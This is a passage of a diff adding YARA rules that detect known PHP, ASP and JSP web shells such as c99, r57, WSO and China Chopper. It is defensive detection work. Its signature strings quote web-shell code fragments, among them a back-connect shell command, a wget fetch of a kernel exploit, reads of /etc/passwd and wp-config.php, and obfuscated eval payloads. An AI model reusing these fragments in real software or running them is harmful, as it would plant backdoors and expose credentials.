+		hash8 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
+		hash9 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		hash10 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
+		id = "4b985ae7-1ae6-5976-9e8d-0d6b5faed75b"
+	strings:
+		$s4 = "if (!empty($unset_surl)) {setcookie(\"c99sh_surl\"); $surl = \"\";}" fullword ascii
+		$s6 = "@extract($_REQUEST[\"c99shcook\"]);" fullword ascii
+		$s7 = "if (!function_exists(\"c99_buff_prepare\"))" fullword ascii
+	condition:
+		filesize < 685KB and 1 of them
+}
+
+rule Webshell_acid_AntiSecShell_3 {
+	meta:
+		description = "Detects Webshell Acid"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
+		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash3 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
+		hash4 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
+		hash5 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
+		hash6 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
+		hash7 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
+		hash8 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
+		hash9 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
+		hash10 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
+		hash11 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
+		hash12 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
+		hash13 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
+		hash14 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
+		hash15 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		hash16 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+		hash17 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
+		hash18 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
+		id = "68d59f1e-ef35-586b-805d-1e6e3548d092"
+	strings:
+		$s0 = "echo \"<option value=delete\".($dspact == \"delete\"?\" selected\":\"\").\">Delete</option>\";" fullword ascii
+		$s1 = "if (!is_readable($o)) {return \"<font color=red>\".view_perms(fileperms($o)).\"</font>\";}" fullword ascii
+	condition:
+		filesize < 900KB and all of them
+}
+
+rule Webshell_c99_4 {
+	meta:
+		description = "Detects C99 Webshell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
+		hash2 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
+		hash3 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
+		hash4 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
+		hash5 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
+		hash6 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
+		hash7 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
+		hash8 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
+		hash9 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
+		hash10 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
+		hash11 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
+		hash12 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		hash13 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
+		hash14 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
+		id = "d5035906-df17-5149-92ae-51e6ec05996e"
+	strings:
+		$s1 = "displaysecinfo(\"List of Attributes\",myshellexec(\"lsattr -a\"));" fullword ascii
+		$s2 = "displaysecinfo(\"RAM\",myshellexec(\"free -m\"));" fullword ascii
+		$s3 = "displaysecinfo(\"Where is perl?\",myshellexec(\"whereis perl\"));" fullword ascii
+		$s4 = "$ret = myshellexec($handler);" fullword ascii
+		$s5 = "if (posix_kill($pid,$sig)) {echo \"OK.\";}" fullword ascii
+	condition:
+		filesize < 900KB and 1 of them
+}
+
+rule Webshell_r57shell_2 {
+	meta:
+		description = "Detects Webshell R57"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "e46777e5f1ac1652db3ce72dd0a2475ea515b37a737fffd743126772525a47e6"
+		hash2 = "aa957ca4154b7816093d667873cf6bdaded03f820e84d8f1cd5ad75296dd5d4d"
+		hash3 = "aa957ca4154b7816093d667873cf6bdaded03f820e84d8f1cd5ad75296dd5d4d"
+		hash4 = "756b788401aad4bfd4dbafd15c382d98e3ba079390addb5b0cea7ff7f985f881"
+		hash5 = "756b788401aad4bfd4dbafd15c382d98e3ba079390addb5b0cea7ff7f985f881"
+		hash6 = "16b6ec4b80f404f4616e44d8c21978dcdad9f52c84d23ba27660ee8e00984ff2"
+		hash7 = "59105e4623433d5bf93b9e17d72a43a40a4d8ac99e4a703f1d8851ad1276cd88"
+		hash8 = "1db0549066f294f814ec14ba4e9f63d88c4460d68477e5895236173df437d2b8"
+		hash9 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
+		hash10 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
+		hash11 = "59ea6cf16ea06ff47cf0e6a398df2eaec4d329707b8c3201fc63cbf0b7c85519"
+		hash12 = "0e0227a0001b38fb59fc07749e80c9d298ff0e6aca126ea8f4ea68ebc9a3661f"
+		hash13 = "ef74644065925aa8d64913f5f124fe73d8d289d5f019a104bf5f56689f49ba92"
+		id = "f2298430-1eff-5ed2-abee-3b26b36d16b7"
+	strings:
+		$s1 = "$connection = @ftp_connect($ftp_server,$ftp_port,10);" fullword ascii
+		$s2 = "echo $lang[$language.'_text98'].$suc.\"\\r\\n\";" fullword ascii
+	condition:
+		filesize < 900KB and all of them
+}
+
+rule Webshell_27_9_acid_c99_locus7s {
+	meta:
+		description = "Detects Webshell - rule generated from from files 27.9.txt, acid.php, c99_locus7s.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
+		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash3 = "960feb502f913adff6b322bc9815543e5888bbf9058ba0eb46ceb1773ea67668"
+		hash4 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
+		hash5 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
+		hash6 = "5ae121f868555fba112ca2b1a9729d4414e795c39d14af9e599ce1f0e4e445d3"
+		hash7 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		hash8 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+		id = "f5f33b64-b815-5e32-8d2e-5e455651ec5d"
+	strings:
+		$s0 = "$blah = ex($p2.\" /tmp/back \".$_POST['backconnectip'].\" \".$_POST['backconnectport'].\" &\");" fullword ascii
+		$s1 = "$_POST['backcconnmsge']=\"</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>\";" fullword ascii
+	condition:
+		filesize < 1711KB and 1 of them
+}
+
+rule Webshell_Backdoor_PHP_Agent_r57_mod_bizzz_shell_r57 {
+	meta:
+		description = "Detects Webshell - rule generated from from files Backdoor.PHP.Agent.php, r57.mod-bizzz.shell.txt ..."
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "e46777e5f1ac1652db3ce72dd0a2475ea515b37a737fffd743126772525a47e6"
+		hash2 = "f51a5c5775d9cca0b137ddb28ff3831f4f394b7af6f6a868797b0df3dcdb01ba"
+		hash3 = "16b6ec4b80f404f4616e44d8c21978dcdad9f52c84d23ba27660ee8e00984ff2"
+		hash4 = "59105e4623433d5bf93b9e17d72a43a40a4d8ac99e4a703f1d8851ad1276cd88"
+		hash5 = "6dc417db9e07420a618d44217932ca8baf3541c08d5e68281e1be10af4280e4a"
+		hash6 = "5d07fdfee2dc6d81da26f05028f79badd10dec066909932129d398627b2f4e94"
+		hash7 = "1db0549066f294f814ec14ba4e9f63d88c4460d68477e5895236173df437d2b8"
+		hash8 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
+		hash9 = "59ea6cf16ea06ff47cf0e6a398df2eaec4d329707b8c3201fc63cbf0b7c85519"
+		hash10 = "0e0227a0001b38fb59fc07749e80c9d298ff0e6aca126ea8f4ea68ebc9a3661f"
+		hash11 = "ef74644065925aa8d64913f5f124fe73d8d289d5f019a104bf5f56689f49ba92"
+		id = "00d3159c-f5d2-5b49-9499-3bb938776858"
+	strings:
+		$s1 = "$_POST['cmd'] = which('" ascii
+		$s2 = "$blah = ex(" ascii
+	condition:
+		filesize < 600KB and all of them
+}
+
+rule Webshell_c100 {
+	meta:
+		description = "Detects Webshell - rule generated from from files c100 v. 777shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
+		hash2 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
+		hash3 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
+		hash4 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
+		hash5 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
+		hash6 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
+		hash7 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		id = "aa8317ff-680d-5b60-b8a9-a77ea58f0ed0"
+	strings:
+		$s0 = "<OPTION VALUE=\"wget http://ftp.powernet.com.tr/supermail/debug/k3\">Kernel attack (Krad.c) PT1 (If wget installed)" fullword ascii
+		$s1 = "<center>Kernel Info: <form name=\"form1\" method=\"post\" action=\"http://google.com/search\">" fullword ascii
+		$s3 = "cut -d: -f1,2,3 /etc/passwd | grep ::" ascii
+		$s4 = "which wget curl w3m lynx" ascii
+		$s6 = "netstat -atup | grep IST"  ascii
+	condition:
+		filesize < 685KB and 2 of them
+}
+
+rule Webshell_AcidPoison {
+	meta:
+		description = "Detects Poison Sh3ll - Webshell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash3 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
+		hash4 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
+		hash5 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
+		hash6 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
+		hash7 = "be541cf880a8e389a0767b85f1686443f35b508d1975ee25e1ce3f08fa32cfb5"
+		hash8 = "be541cf880a8e389a0767b85f1686443f35b508d1975ee25e1ce3f08fa32cfb5"
+		hash9 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+		hash10 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+		id = "6c201221-ca67-57fb-9bc7-fab4fc1da982"
+	strings:
+		$s1 = "elseif ( enabled(\"exec\") ) { exec($cmd,$o); $output = join(\"\\r\\n\",$o); }" fullword ascii
+	condition:
+		filesize < 550KB and all of them
+}
+
+rule Webshell_acid_FaTaLisTiCz_Fx_fx_p0isoN_sh3ll_x0rg_byp4ss_256 {
+	meta:
+		description = "Detects Webshell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash2 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
+		hash3 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
+		hash4 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+		hash5 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
+		id = "80f7d202-adb8-5d9c-b176-576e3b9553c1"
+	strings:
+		$s0 = "<form method=\"POST\"><input type=hidden name=act value=\"ls\">" fullword ascii
+		$s2 = "foreach($quicklaunch2 as $item) {" fullword ascii
+	condition:
+		filesize < 882KB and all of them
+}
+
+rule Webshell_Ayyildiz {
+	meta:
+		description = "Detects Webshell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "0e25aec0a9131e8c7bd7d5004c5c5ffad0e3297f386675bccc07f6ea527dded5"
+		hash2 = "9c43aada0d5429f8c47595f79a7cdd5d4eb2ba5c559fb5da5a518a6c8c7c330a"
+		hash3 = "2ebf3e5f5dde4a27bbd60e15c464e08245a35d15cc370b4be6b011aa7a46eaca"
+		hash4 = "77a63b26f52ba341dd2f5e8bbf5daf05ebbdef6b3f7e81cec44ce97680e820f9"
+		hash5 = "61c4fcb6e788c0dffcf0b672ae42b1676f8a9beaa6ec7453fc59ad821a4a8127"
+		id = "cc752958-eb6c-5185-b94c-5fcec833924d"
+	strings:
+		$s0 = "echo \"<option value=\\\"\". strrev(substr(strstr(strrev($work_dir), \"/\"), 1)) .\"\\\">Parent Directory</option>\\n\";" fullword ascii
+		$s1 = "echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>\\n\";" fullword ascii
+	condition:
+		filesize < 112KB and all of them
+}
+
+rule Webshell_zehir {
+	meta:
+		description = "Detects Webshell - rule generated from from files elmaliseker.asp, zehir.asp, zehir.txt, zehir4.asp, zehir4.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "16e1e886576d0c70af0f96e3ccedfd2e72b8b7640f817c08a82b95ff5d4b1218"
+		hash2 = "0c5f8a2ed62d10986a2dd39f52886c0900a18c03d6d279207b8de8e2ed14adf6"
+		hash3 = "cb9d5427a83a0fc887e49f07f20849985bd2c3850f272ae1e059a08ac411ff66"
+		hash4 = "b57bf397984545f419045391b56dcaf7b0bed8b6ee331b5c46cee35c92ffa13d"
+		hash5 = "febf37a9e8ba8ece863f506ae32ad398115106cc849a9954cbc0277474cdba5c"
+		id = "7f8f15a6-1c5b-5c75-b61a-df7b18699f5a"
+	strings:
+		$s1 = "for (i=1; i<=frmUpload.max.value; i++) str+='File '+i+': <input type=file name=file'+i+'><br>';" fullword ascii
+		$s2 = "if (frmUpload.max.value<=0) frmUpload.max.value=1;" fullword ascii
+	condition:
+		filesize < 200KB and 1 of them
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-09-10
+	Identifier: Webshells PHP bartblaze
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule UploadShell_98038f1efa4203432349badabad76d44337319a6 {
+	meta:
+		description = "Detects a web shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "506a6ab6c49e904b4adc1f969c91e4f1a7dde164be549c6440e766de36c93215"
+		id = "f385b091-ce0d-5d5b-8eeb-57e00c8d0210"
+	strings:
+		$s2 = "$lol = file_get_contents(\"../../../../../wp-config.php\");" fullword ascii
+		$s6 = "@unlink(\"./export-check-settings.php\");" fullword ascii
+		$s7 = "$xos = \"Safe-mode:[Safe-mode:\".$hsafemode.\"] " fullword ascii
+	condition:
+		( uint16(0) == 0x3f3c and filesize < 6KB and ( all of ($s*) ) ) or ( all of them )
+}
+
+rule DKShell_f0772be3c95802a2d1e7a4a3f5a45dcdef6997f3 {
+	meta:
+		description = "Detects a web shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "7ea49d5c29f1242f81f2393b514798ff7caccb50d46c60bdfcf61db00043473b"
+		id = "161ceca6-f5e8-5bcf-bc31-2a2169b1a1c7"
+	strings:
+		$s1 = "<?php Error_Reporting(0); $s_pass = \"" ascii
+		$s2 = "$s_func=\"cr\".\"eat\".\"e_fun\".\"cti\".\"on" ascii
+	condition:
+		( uint16(0) == 0x3c0a and filesize < 300KB and all of them )
+}
+
+rule Unknown_8af033424f9590a15472a23cc3236e68070b952e {
+	meta:
+		description = "Detects a web shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "3382b5eaaa9ad651ab4793e807032650667f9d64356676a16ae3e9b02740ccf3"
+		id = "fcf467b6-f49a-52d0-a57f-9f3cf6d0b25b"
+	strings:
+		$s1 = "$check = $_SERVER['DOCUMENT_ROOT']" fullword ascii
+		$s2 = "$fp=fopen(\"$check\",\"w+\");" fullword ascii
+		$s3 = "fwrite($fp,base64_decode('" ascii
+	condition:
+		( uint16(0) == 0x6324 and filesize < 6KB and ( all of ($s*) ) ) or ( all of them )
+}
+
+rule DkShell_4000bd83451f0d8501a9dfad60dce39e55ae167d {
+	meta:
+		description = "Detects a web shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "51a16b09520a3e063adf10ff5192015729a5de1add8341a43da5326e626315bd"
+		id = "804f7229-1440-5a2e-91cd-a58a38b22aa9"
+	strings:
+		$x1 = "DK Shell - Took the Best made it Better..!!" fullword ascii
+		$x2 = "preg_replace(\"/.*/e\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\x73\\x65\\x36\\x" ascii
+		$x3 = "echo '<b>Sw Bilgi<br><br>'.php_uname().'<br></b>';" fullword ascii
+
+		$s1 = "echo '<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">';" fullword ascii
+		$s9 = "$x = $_GET[\"x\"];" fullword ascii
+	condition:
+		( uint16(0) == 0x3f3c and filesize < 200KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule WebShell_5786d7d9f4b0df731d79ed927fb5a124195fc901 {
+	meta:
+		description = "Detects a web shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "b1733cbb0eb3d440c4174cc67ca693ba92308ded5fc1069ed650c3c78b1da4bc"
+		id = "7958e5fc-5ac5-58bc-8128-0a778e99a4e4"
+	strings:
+		$s1 = "preg_replace(\"\\x2F\\x2E\\x2A\\x2F\\x65\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x" ascii
+		$s2 = "input[type=text], input[type=password]{" fullword ascii
+	condition:
+		( uint16(0) == 0x6c3c and filesize < 80KB and all of them )
+}
+
+rule webshell_e8eaf8da94012e866e51547cd63bb996379690bf {
+	meta:
+		description = "Detects a web shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "027544baa10259939780e97dc908bd43f0fb940510119fc4cce0883f3dd88275"
+		id = "8fda9b9f-9a72-5123-91d7-0d0aec9e17bc"
+	strings:
+		$x1 = "@exec('./bypass/ln -s /etc/passwd 1.php');" fullword ascii
+		$x2 = "echo \"<iframe src=mysqldumper/index.php width=100% height=100% frameborder=0></iframe> \";" fullword ascii
+		$x3 = "@exec('tar -xvf mysqldumper.tar.gz');" fullword ascii
+	condition:
+		( uint16(0) == 0x213c and filesize < 100KB and 1 of ($x*) ) or ( 2 of them )
+}
+
+rule Unknown_0f06c5d1b32f4994c3b3abf8bb76d5468f105167 {
+	meta:
+		description = "Detects a web shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "6362372850ac7455fa9461ed0483032a1886543f213a431f81a2ac76d383b47e"
+		id = "efd09da2-f232-5a21-99c8-dc2bf00baa73"
+	strings:
+		$s1 = "$check = $_SERVER['DOCUMENT_ROOT'] . \"/libraries/lola.php\" ;" fullword ascii
+		$s2 = "$fp=fopen(\"$check\",\"w+\");" fullword ascii
+		$s3 = "fwrite($fp,base64_decode('" ascii
+	condition:
+		( uint16(0) == 0x6324 and filesize < 2KB and all of them )
+}
+
+rule WSOShell_0bbebaf46f87718caba581163d4beed56ddf73a7 {
+	meta:
+		description = "Detects a web shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "d053086907aed21fbb6019bf9e644d2bae61c63563c4c3b948d755db3e78f395"
+		id = "92165645-5392-588d-ba2a-5ef6b7499a5a"
+	strings:
+		$s8 = "$default_charset='Wi'.'ndo.'.'ws-12'.'51';" fullword ascii
+		$s9 = "$mosimage_session = \"" fullword ascii
+	condition:
+		( uint16(0) == 0x3f3c and filesize < 300KB and all of them )
+}
+
+rule WebShell_Generic_1609_A {
+	meta:
+		description = "Auto-generated rule"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		super_rule = 1
+		hash1 = "c817a490cfd4d6377c15c9ac9bcfa136f4a45ff5b40c74f15216c030f657d035"
+		hash3 = "69b9d55ea2eb4a0d9cfe3b21b0c112c31ea197d1cb00493d1dddc78b90c5745e"
+		id = "4b7db4db-8699-5b4d-ab90-ce79f1160984"
+	strings:
+		$s1 = "return $qwery45234dws($b);" fullword ascii
+	condition:
+		( uint16(0) == 0x3f3c and 1 of them )
+}
+
+rule Nishang_Webshell {
+	meta:
+		description = "Detects a ASPX web shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/samratashok/nishang"
+		date = "2016-09-11"
+		id = "785e6da7-097e-598b-9799-ffe43738d718"
+	strings:
+		$s1 = "psi.Arguments = \"-noninteractive \" + \"-executionpolicy bypass \" + arg;" ascii
+		$s2 = "output.Text += \"\nPS> \" + console.Text + \"\n\" + do_ps(console.Text);" ascii
+		$s3 = "<title>Antak Webshell</title>" fullword ascii
+		$s4 = "<asp:Button ID=\"executesql\" runat=\"server\" Text=\"Execute SQL Query\"" ascii
+	condition:
+		( uint16(0) == 0x253C and filesize < 100KB and 1 of ($s*) )
+}
+
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-02-28
+   Identifier: Simple PHP Webshell
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule PHP_Webshell_1_Feb17 {
+   meta:
+      description = "Detects a simple cloaked PHP web shell"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://isc.sans.edu/diary/Analysis+of+a+Simple+PHP+Backdoor/22127"
+      date = "2017-02-28"
+      id = "eedf87c9-2dab-530d-b5d8-a4c2ebc87821"
+   strings:
+      $h1 = "<?php ${\"\\x" ascii
+
+      $x1 = "\";global$auth;function sh_decrypt_phase($data,$key){${\"" ascii
+      $x2 = "global$auth;return sh_decrypt_phase(sh_decrypt_phase($" ascii
+      $x3 = "]}[\"\x64\"]);}}echo " ascii
+      $x4 = "\"=>@phpversion(),\"\\x" ascii
+
+      /* Decloaked version */
+      $s1 = "$i=Array(\"pv\"=>@phpversion(),\"sv\"" ascii
+      $s3 = "$data = @unserialize(sh_decrypt(@base64_decode($data),$data_key));" ascii
+   condition:
+      uint32(0) == 0x68703f3c and ( $h1 at 0 and 1 of them ) or 2 of them
+}
+
+rule Webshell_Tiny_JSP_2 {
+	meta:
+		description = "Detects a tiny webshell - chine chopper"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2015-12-05"
+		score = 100
+		id = "b628c4f9-eb07-592d-834a-5c94e41987da"
+	strings:
+		$s1 = "<%eval(Request(" nocase
+	condition:
+		uint16(0) == 0x253c and filesize < 40 and all of them
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-06-25
+   Identifier: Wordpress Webshell
+   Reference: Internal Research
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Wordpress_Config_Webshell_Preprend {
+   meta:
+      description = "Webshell that uses standard Wordpress wp-config.php file and appends the malicious code in front of it"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-06-25"
+		score = 65
+      id = "2a432c53-5dee-5a2e-9ccf-9e5d52713af9"
+   strings:
+      $x1 = " * @package WordPress" fullword ascii
+
+      $s1 = "define('DB_NAME'," ascii
+      $s2 = "require_once(ABSPATH . 'wp-settings.php');" ascii
+
+      $fp1 = "iThemes Security Config" ascii
+   condition:
+      uint32(0) == 0x68703f3c and filesize < 400KB and
+      $x1 and
+      all of ($s*) and
+      not $x1 in (0..1000) and
+      not 1 of ($fp*)
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-07-11
+   Identifier: PAS Webshell
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule PAS_Webshell_Encoded {
+   meta:
+      description = "Detects a PAS webshell"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.talosintelligence.com/2017/07/the-medoc-connection.html"
+      date = "2017-07-11"
+      score = 80
+      id = "6cb547ad-7a97-5c3d-83e1-114ea798ddb8"
+   strings:
+      $head1 = "<?php $____=" fullword ascii
+      $head2 = "'base'.(32*2).'"
+
+      $enc1 = "isset($_COOKIE['___']" ascii
